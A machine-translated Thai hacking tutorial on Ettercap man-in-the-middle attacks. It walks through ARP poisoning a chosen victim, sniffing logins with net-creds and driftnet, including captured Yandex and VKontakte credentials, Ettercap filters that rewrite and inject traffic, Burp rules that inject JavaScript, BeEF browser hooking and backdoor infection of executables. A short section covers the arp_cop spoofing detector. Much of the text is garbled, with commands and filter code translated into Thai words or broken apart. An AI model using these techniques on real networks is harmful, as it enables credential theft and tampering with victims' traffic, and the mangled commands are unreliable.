คำแนะนำสำหรับ Ettercap: การโจมตีแบบแทรกกลางการสื่อสาร (MitM), การสกัดกั้นรหัสผ่าน, การเลี่ยงผ่าน HSTS, การทดแทนข้อมูลได้ทันที, การใช้ตัวกรองและปลั๊กอินแบบกำหนดเอง, การเชื่อมต่อ BeEF, การติดไวรัสที่ประตูหลัง Easy Hack: ความลับของแฮ็กเกอร์ในเรื่องง่าย ๆ การสกัดกั้น

ทางเลือกอื่นสำหรับ Ettercap

เอตเตอร์แคปคือที่สุด โปรแกรมยอดนิยมสำหรับการโจมตีแบบคนกลาง แต่จะดีที่สุดหรือไม่? ตลอดคำแนะนำทั้งหมด คุณจะเห็นว่า Ettercap แทบไม่เคยถูกใช้โดยลำพังเลย โดยจะมีโปรแกรมหนึ่งหรือโปรแกรมอื่นถูกสร้างขึ้นพร้อมกับมันในห่วงโซ่การประมวลผลการรับส่งข้อมูลเสมอ บางทีนี่อาจเป็นการเพิ่มความยืดหยุ่น โดยทั่วไป วิธีการนี้เป็นพื้นฐานของ UNIX - โปรแกรมหนึ่งทำงานหนึ่งงาน และผู้ใช้จะรวมโปรแกรมต่างๆ เข้าด้วยกันเพื่อให้ได้ผลลัพธ์ที่ต้องการ ด้วยวิธีการนี้ โค้ดโปรแกรมจึงง่ายต่อการบำรุงรักษา จาก "อิฐ" ขนาดเล็กดังกล่าว คุณสามารถสร้างระบบที่ซับซ้อนและยืดหยุ่นได้ อย่างไรก็ตามการมีคอนโซลแบบเปิดห้าตัวที่มีงานที่แตกต่างกันงานของโปรแกรมที่มีจุดมุ่งหมายเพื่อให้ได้ผลลัพธ์เดียวนั้นไม่สะดวกนักมันซับซ้อนกว่ามีความเป็นไปได้ที่จะทำผิดพลาดในบางขั้นตอนและการกำหนดค่าทั้งหมด ระบบก็จะทำงานไปเปล่าๆ

Net-Creds สูดดม:

  • URL ที่เข้าชม
  • ส่งคำขอ POST แล้ว
  • การเข้าสู่ระบบ/รหัสผ่านจากแบบฟอร์ม HTTP
  • การเข้าสู่ระบบ/รหัสผ่านสำหรับการตรวจสอบสิทธิ์ HTTP พื้นฐาน
  • การค้นหา HTTP
  • การเข้าสู่ระบบ FTP/รหัสผ่าน
  • การเข้าสู่ระบบ / รหัสผ่าน IRC
  • การเข้าสู่ระบบ POP / รหัสผ่าน
  • การเข้าสู่ระบบ IMAP/รหัสผ่าน
  • การเข้าสู่ระบบ Telnet/รหัสผ่าน
  • การเข้าสู่ระบบ SMTP/รหัสผ่าน
  • สตริงชุมชน SNMP
  • รองรับโปรโตคอล NTLMv1/v2 ทั้งหมด เช่น HTTP, SMB, LDAP ฯลฯ
  • เคอร์เบรอส

ตัวเลือกที่ถูกดักที่ดีและดริฟท์อวนนั้นง่ายกว่าในเรื่องนี้ - มันแสดงเฉพาะภาพที่ดักจับเท่านั้น

สลับเครื่องของคุณไปที่โหมดการส่งต่อ

เสียงก้อง "1" > /proc/sys/net/ipv4/ip_forward

เรียกใช้ Ettercap ด้วยอินเทอร์เฟซแบบกราฟิก (-G):

เอตเตอร์แคป-จี

ตอนนี้เลือกโฮสต์ จะมีรายการย่อยสแกนหาโฮสต์ หลังจากการสแกนเสร็จสิ้น ให้เลือกรายการโฮสต์:

ในฐานะ Target1 ให้เลือกเราเตอร์ (เพิ่มไปยังเป้าหมาย 1) เนื่องจาก Target2 เลือกอุปกรณ์ที่คุณจะโจมตี (เพิ่มไปยังเป้าหมาย 2)

แต่ที่นี่อาจเกิดปัญหาแรกเกิดขึ้น โดยเฉพาะอย่างยิ่งหากมีโฮสต์จำนวนมาก ในคำแนะนำต่าง ๆ รวมถึงในวิดีโอที่นำเสนอข้างต้น ผู้เขียนปีนเข้าไปในเครื่องเป้าหมาย (ทุกคนมี Windows อยู่ที่นั่นด้วยเหตุผลบางประการ) และใช้คำสั่งดูที่ IP ของเครื่องนี้ใน เครือข่ายท้องถิ่น- ยอมรับว่าตัวเลือกนี้ไม่สามารถยอมรับได้สำหรับเงื่อนไขจริง

หากคุณสแกนโดยใช้ คุณจะได้รับข้อมูลเพิ่มเติมเกี่ยวกับโฮสต์หรือเฉพาะเจาะจงมากขึ้นเกี่ยวกับผู้ผลิตการ์ดเครือข่าย:

Nmap -sn 192.168.1.0/24

หากข้อมูลยังไม่เพียงพอ คุณสามารถทำการสแกนเพื่อระบุระบบปฏิบัติการได้:

Nmap -O 192.168.1.0/24

อย่างที่เราเห็นเครื่องที่มี IP 192.168.1.33 กลายเป็น Windows ถ้านี่ไม่ใช่สัญญาณจากด้านบนแล้วมันคืออะไร? 😉 ฮ่าๆ

นี่คือสิ่งที่เราจะเพิ่มเป็นเป้าหมายที่สอง

ตอนนี้ไปที่รายการเมนู Mitm จากนั้นเลือก ARP Poisoning... ทำเครื่องหมายที่ช่อง Sniff การเชื่อมต่อระยะไกล

เราเริ่มเก็บเกี่ยวในหน้าต่างเดียวที่เราเปิดตัว

เครดิตสุทธิ

ในอีกโปรแกรมหนึ่ง (สามารถรันทั้งสองโปรแกรมได้โดยไม่มีตัวเลือก)

ดริฟท์เน็ต

การรวบรวมข้อมูลเริ่มต้นทันที:

ทางด้านขวา ตาข่ายลอยได้เปิดหน้าต่างอื่นขึ้นมาเพื่อแสดงภาพที่ดักจับไว้ ในหน้าต่าง net-creds เราเห็นไซต์ที่เยี่ยมชมและรหัสผ่านที่ถูกดัก:

1.2 ชุด Ettercap + Burp
3. ดูข้อมูล (ไซต์ที่เยี่ยมชมและรหัสผ่านที่บันทึกไว้) ใน Ettercap

ในเมนูมุมมอง เราสามารถเข้าถึงแท็บการเชื่อมต่อและโปรไฟล์ คุณยังสามารถทำเครื่องหมายที่ช่องแก้ไขที่อยู่ IP ได้ แน่นอนว่าการเชื่อมต่อก็คือการเชื่อมต่อ Ettercap รวบรวมโปรไฟล์ในหน่วยความจำสำหรับแต่ละโฮสต์ที่ค้นพบ มีการรวบรวมผู้ใช้และรหัสผ่านที่นั่น ในกรณีนี้ โปรไฟล์ที่มีข้อมูลบัญชีที่บันทึกไว้ (รหัสผ่าน) จะถูกทำเครื่องหมายด้วยเครื่องหมายกากบาท:

ไม่จำเป็นต้องพึ่งพาโปรไฟล์มากเกินไป - ตัวอย่างเช่น มีการทำเครื่องหมายการเข้าสู่ระบบและรหัสผ่านที่ถูกดักสำหรับ FTP และบริการอื่น ๆ ซึ่งโปรแกรมสามารถตีความข้อมูลที่ได้รับเป็นข้อมูลรับรองได้อย่างชัดเจน ซึ่งไม่รวมถึงข้อมูลการตรวจสอบสิทธิ์พื้นฐาน การเข้าสู่ระบบและรหัสผ่านที่ป้อนลงในแบบฟอร์มบนเว็บ เป็นต้น

ใน Connections ข้อมูลที่มีแนวโน้มมากที่สุดจะถูกทำเครื่องหมายด้วยเครื่องหมายดอกจัน:

คุณสามารถดับเบิลคลิกที่รายการเหล่านี้เพื่อดูรายละเอียด:

เพื่อไม่ให้ค้นหาดาวเหล่านี้ตลอดรายการ คุณสามารถจัดเรียงตามฟิลด์นี้ และดาวทั้งหมดจะปรากฏที่ด้านบนหรือด้านล่าง:

การตรวจสอบสิทธิ์ขั้นพื้นฐานที่ตรวจพบ:

รหัสผ่านเข้าสู่ระบบสำหรับ Yandex (เน้นด้านล่าง):

นี่คือข้อมูลประจำตัวที่ถูกดักจับสำหรับ VKontakte:

นอกจากนี้ ข้อมูลที่น่าสนใจที่สุดจะถูกรวบรวมไว้ที่คอนโซลด้านล่าง:

หากคุณต้องการบันทึกผลลัพธ์ของโปรแกรมให้ใช้ตัวเลือกเหล่านี้ (ระบุคีย์เมื่อเริ่ม Ettercap:

ตัวเลือกการบันทึก: -w, --write เขียนข้อมูลที่บันทึกไว้ไปยัง pcapfile -L, --log เขียนการรับส่งข้อมูลทั้งหมดไปที่ -l นี้, --log-info เขียนเฉพาะข้อมูลแบบพาสซีฟใน -m, --log-msg เขียนข้อความทั้งหมด ใน -c, --compress นี้ ใช้การบีบอัด gzip สำหรับไฟล์บันทึก

4. การทดแทนข้อมูลได้ทันทีใน Ettercap
4.1 การใช้ตัวกรองแบบกำหนดเองของ Ettercap

หมายเหตุ: แม้จะมีการทดสอบทั้งหมด แต่ตัวกรอง Ettercap ก็ยังไม่ได้ผลสำหรับฉัน เป็นการยากที่จะเข้าใจว่ามันเป็นเรื่องของมือ คุณสมบัติฮาร์ดแวร์ หรือข้อผิดพลาดในตัวโปรแกรมเอง... แต่สำหรับเวอร์ชัน 0.8.2 (ล่าสุดในขณะนี้) มีรายงานข้อผิดพลาดเกี่ยวกับปัญหาเกี่ยวกับตัวกรอง โดยทั่วไป เมื่อพิจารณาจากรายงานข้อผิดพลาดและฟอรัม ตัวกรองอาจหลุดบ่อยหรือไม่ทำงานเลยเป็นเวลานาน มีสาขาที่มีการเปลี่ยนแปลงเมื่อ 5 เดือนที่แล้ว https://github.com/Ettercap/ettercap/tree/filter-improvements เช่น การปรับปรุงตัวกรอง (พร้อมการปรับปรุงตัวกรอง) ทั้งสำหรับสาขานี้และเวอร์ชันจากพื้นที่เก็บข้อมูล มีการทดสอบที่หลากหลาย ตัวกรองต่างๆ ได้รับการทดสอบภายใต้เงื่อนไขที่แตกต่างกัน ใช้เวลานานมาก แต่ไม่มีผลลัพธ์ โดยวิธีการติดตั้งเวอร์ชันปรับปรุงตัวกรองใน กาลี ลินุกซ์คุณต้องทำสิ่งนี้:

Sudo apt-get ลบ ettercap กราฟิก ettercap ทั่วไป sudo apt-get ติดตั้ง git debhelper วัวกระทิงตรวจสอบ cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b การปรับปรุงตัวกรอง https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS =เปิด ../ ทำ sudo ทำการติดตั้ง

โดยทั่วไป หากตัวกรองของคุณใช้งานไม่ได้ แสดงว่าคุณไม่ได้อยู่คนเดียว ในคำแนะนำเกี่ยวกับ Ettercap ฉันไม่สามารถข้ามหัวข้อตัวกรองได้ ดังนั้นจะมีการพูดคุยกันไม่ว่าในกรณีใด

จนถึงตอนนี้ เราใช้ Ettercap สำหรับการปลอมแปลง ARP นี่เป็นแอปพลิเคชั่นที่ผิวเผินมาก ด้วยตัวกรองแบบกำหนดเอง เราจึงสามารถแทรกแซงและเปลี่ยนแปลงการรับส่งข้อมูลได้ทันที ตัวกรองจะต้องมีอยู่ใน แยกไฟล์และต้องคอมไพล์ด้วยโปรแกรม Etterfilter ก่อนใช้งาน แม้ว่าเอกสารที่ให้ลิงก์มาจะดูมีไม่มาก แต่เมื่อรวมกับตัวอย่างที่ให้ไว้ด้านล่างนี้ จะช่วยให้คุณเขียนตัวกรองที่น่าสนใจได้

มาสร้างฟิลเตอร์แรกกัน โดยมันจะแทนที่รูปภาพทั้งหมดด้วยสิ่งนี้:

ในไฟล์ชื่อ img_replacer.filter copy:

ถ้า (ip.proto == TCP && tcp.dst == 80) ( ถ้า (ค้นหา (DATA.data, "ยอมรับการเข้ารหัส")) ( แทนที่ ("ยอมรับการเข้ารหัส", "ยอมรับขยะ!"); # หมายเหตุ: สตริงการแทนที่จะมีความยาวเท่ากับต้นฉบับ msg("zapped Accept-Encoding!\n" ) ) if (ip.proto == TCP && tcp.src == 80) ( แทนที่("src=", " src=\"http://www.ironngeek.com/images/jollypwn.png\" "); แทนที่ ("SRC =", "src=\"http://www.irongeek.com/images/jollypwn. png\" "); แทนที่("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); แทนที่ ("SRC =", "src=\" http://www.irongeek.com/images/jollypwn.png\" "); msg("ตัวกรองวิ่ง\n" );

รวบรวมไฟล์:

Etterfilter img_replacer.filter -o img_replacer.ef

ผลการรวบรวม:

Etterfilter 0.8.2 ลิขสิทธิ์ 2001-2015 ทีมพัฒนา Ettercap โหลดตารางโปรโตคอล 14 ตารางแล้ว: ข้อมูลถอดรหัส udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 ค่าคงที่โหลด: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP การแยกวิเคราะห์ไฟล์ต้นฉบับ "img_replacer.filter" เสร็จแล้ว

เปิดเผย meta-tree เสร็จแล้ว

การแปลงป้ายกำกับเป็นการชดเชยจริงเสร็จสิ้นแล้ว

เขียนเอาต์พุตไปที่ "img_replacer.ef" เสร็จแล้ว

-> สคริปต์เข้ารหัสเป็น 18 คำสั่ง

สวิตช์ -F บอกให้โปรแกรมโหลดตัวกรองจากไฟล์ที่ตามหลังสวิตช์ หลังจากการคอมไพล์ ชื่อของไฟล์ใหม่ของเราพร้อมตัวกรองคือ img_replacer.ef ดังนั้นคำสั่งจะอยู่ในรูปแบบ:

Ettercap -G -F img_replacer.ef

# การแทนที่ข้อความในแพ็กเก็ต: if (ip.proto == TCP && search(DATA.data, "lol"))( แทนที่("lol", "smh"); msg("filter ran"); ) # แสดง ข้อความ ถ้าพอร์ต tcp เป็น 22 if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( msg("SSH packet\n"); ) ) # เขียนลงไป การรับส่งข้อมูล telnet ทั้งหมด ให้ดำเนินการ ./program สำหรับแต่ละแพ็กเก็ต if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) ( log(DATA.data, "./ logfile.log "); exec("./program"); ​​​​ ) ) # บันทึกการรับส่งข้อมูลทั้งหมดยกเว้น http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) ( log (DATA.data , "./logfile.log"); ) # การดำเนินการบางอย่างกับแพ็คเก็ตเพย์โหลดถ้า (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) อื่น ๆ ( DATA.data = "แก้ไขแล้ว "; DATA .data + 20 = 0x4445; ) # ปล่อยแพ็กเก็ตทั้งหมดที่มี "ettercap" if (ค้นหา(DECODED.data, "ettercap")) ( msg("มีคนพูดถึงเรา...\n"); drop( ); kill(); ) # เขียนแพ็กเก็ต ssh ที่ถอดรหัสแล้วที่ตรงกับนิพจน์ทั่วไป if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) ( log(DECODED.data, "./decrypted_log"); ) ) # ฆ่าแพ็กเก็ต if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

4.2 การทดแทนข้อมูลโดยใช้ Burp

เราเปิดตัว Ettercap และ Burp ตามที่อธิบายไว้ในย่อหน้าที่ 1.2 หรือในย่อหน้าที่ 2.2

ใน Burp ไปที่ Proxy -> Options เราพบการจับคู่และแทนที่ที่นั่น คลิกเพิ่มเพื่อเพิ่มกฎใหม่

  • ส่วนหัวของคำขอคือส่วนหัวของคำขอ
  • เนื้อหาคำขอ - เนื้อหาคำขอ
  • ส่วนหัวของการตอบกลับ - ส่วนหัวของการตอบกลับ
  • ร่างกายตอบสนอง - ร่างกายตอบสนอง
  • ชื่อพารามิเตอร์คำขอ - ชื่อพารามิเตอร์คำขอ
  • ค่าพารามิเตอร์คำขอ - ค่าพารามิเตอร์คำขอ
  • คำขอบรรทัดแรก - บรรทัดแรกของคำขอ

หากคุณต้องการเปลี่ยนข้อมูลที่ส่งโดยวิธี GET สิ่งนี้จะมีผลกับส่วนหัว

ใน มาร์กอัป HTMLนอกจากนี้ยังมีสิ่งที่เป็นหัว (แท็กหัว) ผู้ที่กล่าวมาข้างต้นไม่เกี่ยวข้องกับชื่อนี้ สูงขึ้นอีกเล็กน้อยเราพูดถึงส่วนหัวของแพ็กเก็ต หากคุณต้องการเปลี่ยนเนื้อหา หน้า HTMLจากนั้น คุณควรเลือกเนื้อหาการตอบสนองแทนส่วนหัวคำขอเสมอ แม้ว่าคุณจะเปลี่ยนเนื้อหาของแท็ก head (เช่น ชื่อเรื่อง) ก็ตาม

ถ้าคุณไม่คุ้นเคย การแสดงออกปกติโดยหลักการแล้ว ไม่มีอะไรต้องกังวล: HTML ให้อภัยได้มากมาย และอะไรที่ไม่เข้าใจ มันก็จะเพิกเฉย - คุณสามารถใช้มันได้ หากคุณรู้วิธีใช้นิพจน์ทั่วไปฉันก็เคารพคุณ)))

ตัวอย่างเช่น เรามาสร้างกฎใหม่โดยเปลี่ยนส่วนหัวคำขอเป็นเนื้อหาการตอบกลับ ในกฎเกณฑ์เราจะเปลี่ยนแปลง

.*

ไม่มีชื่อเรื่อง

เลือกช่องจับคู่ Regex

ตอนนี้ในทุกไซต์ (ไม่มี HTTPS) ชื่อจะเป็น No Title:

แทรกบรรทัดที่ต้องการหลังแท็ก body (ซึ่งจะเป็นบรรทัดแรกในข้อความ) ส่วนหัวของคำขอถูกเปลี่ยนเป็นเนื้อหาการตอบสนอง เราเปลี่ยนแปลง

เลือกช่องจับคู่ Regex

ที่มุมขวาบน (ขึ้นอยู่กับเค้าโครง) มีข้อความว่า "ฉันเจ๋ง!" คุณสามารถแทรก CSS, โค้ด JavaScript, ข้อความใดก็ได้ - อะไรก็ได้ โดยทั่วไปคุณสามารถลบทุกอย่างออกจากหน้าแล้วเติมเนื้อหาของคุณเองได้ - ทุกอย่างขึ้นอยู่กับจินตนาการของคุณ

แนวคิดก็คือการปรับเปลี่ยนแต่ละแบบฟอร์มเล็กน้อยเพื่อให้ข้อมูลถูกส่งไปยังเซิร์ฟเวอร์ดั้งเดิมและไปยังเซิร์ฟเวอร์ของผู้โจมตี (ใช้การส่งหลายรายการสำหรับแต่ละแบบฟอร์ม) แต่โดยให้เหตุผลว่าหากข้อมูลที่ส่งไม่ได้ถูกเข้ารหัสและเราสามารถเข้าถึงได้ เราก็เห็นมันแล้ว ไม่จำเป็นต้องส่งไปยังเซิร์ฟเวอร์ใดๆ อย่างไรก็ตาม หากมีใครต้องการตัวอย่างที่ใช้งานได้จริงในการส่งข้อมูลจากฟอร์มเดียวไปยังเซิร์ฟเวอร์หลายเครื่องพร้อมกัน

5. การเชื่อมต่อกับ BeEF

ในการเริ่มใช้ความสามารถของ BeEF เราจำเป็นต้องฝังไฟล์ JavaScript ลงในโค้ด HTML ซึ่งโดยปกติจะมีบรรทัดดังนี้:

สองวิธีถัดไปแตกต่างกันในวิธีการฝังสตริงนี้เท่านั้น

5.1 การเชื่อมต่อ BeEF โดยใช้ตัวกรอง Ettercap

[ส่วนที่ต้องเตรียมภายหลัง]

5.2 การต่อ BeEF ด้วย Burp

คุณต้องเริ่มต้นตามที่เขียนไว้ในย่อหน้าที่ 4.2 ทุกประการ แทนที่จะแทนที่ส่วนหัวและเพิ่มข้อความลงในไซต์ เราจะใช้โค้ด JavaScript ในรูปแบบของบรรทัด:

ในกรณีของฉัน ไฟล์นี้มีอยู่ใน IP 192.168.1.36 บนพอร์ต 3000 ไฟล์นี้เรียกว่า hook.js (สามารถเปลี่ยนแปลงได้ในการตั้งค่า) เหล่านั้น. ในกรณีของฉันฉันต้องฉีดบรรทัด:

ซึ่งสามารถทำได้ เช่น โดยการสร้างกฎใหม่ เปลี่ยนส่วนหัวของคำขอเป็นเนื้อหาการตอบสนอง การแทนที่จะต้องเกิดขึ้นในโค้ด HTML เอง

เยี่ยมมาก เมื่อคุณเปิดเว็บไซต์ใดๆ ที่ไม่มี HTTPS โค้ด JavaScript จะถูกแทรกลงในโค้ด HTML ซึ่งช่วยให้คุณสามารถรวบรวมข้อมูลผ่านเบราว์เซอร์ที่ติดยาเสพติดและทำการโจมตีต่างๆ:

6. การติดเชื้อจากประตูหลัง

คุณสามารถแทนที่และทำให้ไฟล์ปฏิบัติการติดไวรัสได้โดยใช้ตัวกรอง Ettercap ทั้งสองตัว [ซึ่งด้วยเหตุผลบางอย่างใช้ไม่ได้อีกต่อไป] และการใช้ แอปพลิเคชันบุคคลที่สาม- ตัวอย่างเช่น BDFProxy สามารถทำได้ทันที น่าเสียดายที่ BDFProxy ยังคงประสบปัญหาจากการอัปเดต Backdoor Factory ในเดือนเมษายน 2559: แพ็คเกจ libmproxy ถูกเปลี่ยนชื่อเป็น mitmproxy ใน Python สำหรับ BDFProxy แพ็คเกจ libmproxy เป็นสิ่งที่จำเป็น หากไม่มีแพ็คเกจนี้ โปรแกรมจะไม่เริ่มทำงาน ดังนั้นตอนนี้ก่อนที่จะ "ซ่อมแซม" ของ BDFProxy จึงใช้งานไม่ได้เพราะถึงแม้จะติดตั้ง Backdoor Factory แล้วโปรแกรม BDFProxy ก็บ่นว่าไม่มีไลบรารี libmproxy...

การดำเนินการที่คล้ายกันนี้สามารถทำได้ด้วย Burp Suite มีการนำเสนออัลกอริธึมทีละขั้นตอน มันไม่สมเหตุสมผลเลยที่จะเขียนใหม่อีกครั้งในส่วนนี้

7. การใช้ปลั๊กอิน Ettercap

ข้อมูลเกี่ยวกับปลั๊กอิน Ettercap สามารถพบได้ มีปลั๊กอินค่อนข้างมาก ปลั๊กอินที่อธิบายไว้ด้านล่างนี้ดูน่าสนใจที่สุดสำหรับฉัน

สามารถเชื่อมต่อปลั๊กอินได้เมื่อเปิดตัว Ettercap มีตัวเลือกสำหรับสิ่งนี้:

P, --plugin รันสิ่งนี้

สามารถโหลดปลั๊กอินได้จาก GUI:

[วัสดุอยู่ระหว่างการเตรียมการ]

7.1 arp_cop

รายงานกิจกรรม ARP ที่น่าสงสัยโดยการตรวจสอบคำขอ/การตอบสนองของ ARP อย่างอดทน สามารถรายงานความพยายามในการเป็นพิษของ ARP หรือข้อขัดแย้งของ IP ทั่วไปหรือการเปลี่ยนแปลง IP หากคุณกำลังสร้างรายชื่อโฮสต์เบื้องต้น ปลั๊กอินจะทำงานได้แม่นยำยิ่งขึ้น

Ettercap -TQP arp_cop //

ตัวอย่างการตรวจจับการปลอมแปลง ARP ที่แท้จริง:

ขยาย

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // รหัสผ่านสำหรับ mial: ettercap 0.8.2 ลิขสิทธิ์ 2544-2558 ทีมพัฒนา Ettercap ฟังเมื่อ: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 การแยก SSL ต้องการสคริปต์ "redir_command_on" ที่ถูกต้องในไฟล์ etter.conf สิทธิ์ลดลงไปที่ EUID 65534 EGID 65534... 33 ปลั๊กอิน 42 ตัวแยกโปรโตคอล 57 พอร์ตที่ตรวจสอบ 20530 mac ลายนิ้วมือของผู้ขาย 1766 ลายนิ้วมือ tcp OS 2182 บริการที่รู้จัก การสุ่ม 255 โฮสต์สำหรับการสแกน ... กำลังสแกน netmask ทั้งหมดสำหรับ 255 โฮสต์ ... * |====== =============== ============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // รหัสผ่านสำหรับ mial: ettercap 0.8.2 ลิขสิทธิ์ 2544-2558 ทีมพัฒนา Ettercap ฟังเมื่อ: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 การแยก SSL ต้องการสคริปต์ "redir_command_on" ที่ถูกต้องในไฟล์ etter.conf สิทธิ์ลดลงไปที่ EUID 65534 EGID 65534... 33 ปลั๊กอิน 42 ตัวแยกโปรโตคอล 57 พอร์ตที่ตรวจสอบ 20530 mac ลายนิ้วมือของผู้ขาย 1766 ลายนิ้วมือ tcp OS 2182 บริการที่รู้จัก การสุ่ม 255 โฮสต์สำหรับการสแกน ... กำลังสแกน netmask ทั้งหมดสำหรับ 255 โฮสต์ ... * |====== =============== ============================>| ============================>| เพิ่มโฮสต์ 100.00% 3 รายการในรายการโฮสต์แล้ว... กำลังเริ่มการดมกลิ่นแบบรวม... เปิดใช้งานอินเทอร์เฟซแบบข้อความเท่านั้น... กด "h" เพื่อขอความช่วยเหลือแบบอินไลน์ กำลังเปิดใช้งานปลั๊กอิน arp_cop... arp_cop: ปลั๊กอินกำลังทำงาน... arp_cop: (โฮสต์ใหม่ ) 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน ) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: ING 19) 2.168.1.35 แกล้งทำเป็น 192.168 1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.16 8.1 .1 arp_cop: (คำเตือน) 192.168 .1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน 192.16) 1.35 แกล้งทำเป็น 192.168. 1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1 1 arp_cop: (คำเตือน) 192.168. 1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน 192.168.1.3) 5) แกล้งทำเป็น 192.168.1.1 arp_cop : (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (W ARNING) 192.168.1.35 แอบอ้าง เป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 1 92. 168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192 68.1.1 arp_cop: ( คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 1 92.168 .1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน) 192.168.1.35 แกล้งทำเป็น 192.168.1.1 arp_cop: (คำเตือน 19 2.168) .1.35 แกล้งทำเป็น 192.168 1.1 . ...........................

7.2 เพิ่มอัตโนมัติ

มันจะเพิ่มเหยื่อรายใหม่โดยอัตโนมัติเมื่อพวกเขาเชื่อมต่อกับการโจมตีแบบ Mitm ที่เป็นพิษของ ARP ค้นหาคำขอ ARP บนเครือข่ายท้องถิ่น และหากตรวจพบ ปลั๊กอินจะเพิ่มโฮสต์ลงในรายชื่อเหยื่อหากระบุรายชื่อเป็นเป้าหมาย โฮสต์จะถูกเพิ่มเมื่อคำขอ arp สามารถมองเห็นได้

7.3 chk_poison

